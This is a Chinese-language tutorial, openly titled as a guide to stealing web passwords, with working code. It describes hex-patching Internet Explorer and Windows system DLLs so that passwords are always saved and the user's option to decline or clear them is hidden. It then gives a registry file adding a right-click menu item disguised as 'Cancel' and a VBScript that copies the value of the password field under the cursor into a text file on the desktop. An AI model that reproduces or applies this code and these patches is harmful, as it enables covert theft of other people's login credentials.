如何盗取网页密码(附源代码)

注意:以下程序在使用时只能看到只有用户名和密码框两个控件的表单(我也不知为什么哟)
比如说我们的bbs和第五空间的5icq就可以盗但象江湖这种有多个输入框的表单就不能哟)
shdoclc.dll --改确认对话框(按确定和取消都要保存密码同时隐藏不保存复选框)(在dos下覆盖)
Inetcplc.dll---改internet选项里的对话框使清除密码和表单两按钮隐藏的同时"表单的用户名和密码"还有"提示我保护密码"两个复选框被禁用注这儿和改注册表功能相反(不用进dos)
注:使用时可以选把密码和表单清除了这要可以看到更多的密码!!
inetcpl.cpl---改注册表默认键值formsuggest passwords
(自动完成设置--表单的用户名和密码还有提示我保护密码两个复选框被禁用.)当它为一时不但复选框被禁用而且也禁止提示保存密码我们可以查找50 61 73 73来改它,使这个键不能起作用!(不用进dos)
以上改的三个文件要用到u-edit和exescope

pass.reg---使右键增加特殊关联(使用时在右键菜单中将会多一个名为取消的选项)
使用时将焦点对准有星号密码的输入框然后按右键中的取消按钮就可以了(注意不是撤消哟:)
pass.htm---记录密码的程序密码最后记录在桌面pass.txt文件中

reg文件里的内容:
REGEDIT4
[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\MenuExt\取消(&U)]
@="c:\\windows\\system32\\pass.htm"
"contexts"=dword:00000004

pass.htm里的内容(这个文件存放在system32目录中):

 1<script language="vbscript">   
 2on error resume next   
 3sub getpassword()   
 4Set fso = CreateObject("Scripting.FileSystemObject")   
 5set fil =fso.opentextfile ("c:\windows\desktop\pass.txt",8,true)   
 6'将在桌面生成密码文件名为pass.txt   
 7set srcevent = external.menuarguments.event   
 8set doc=external.menuarguments.document   
 9set ele=doc.elementfrompoint( srcevent.clientx, srcevent.clienty )   
10if ele.type ="password" then   
11if ele.value<>"" then   
12fil.writeline ele.value   
13end if   
14end if   
15end sub   
16call getpassword()   
17</script>
Published At
Categories with 网络技术
comments powered by Disqus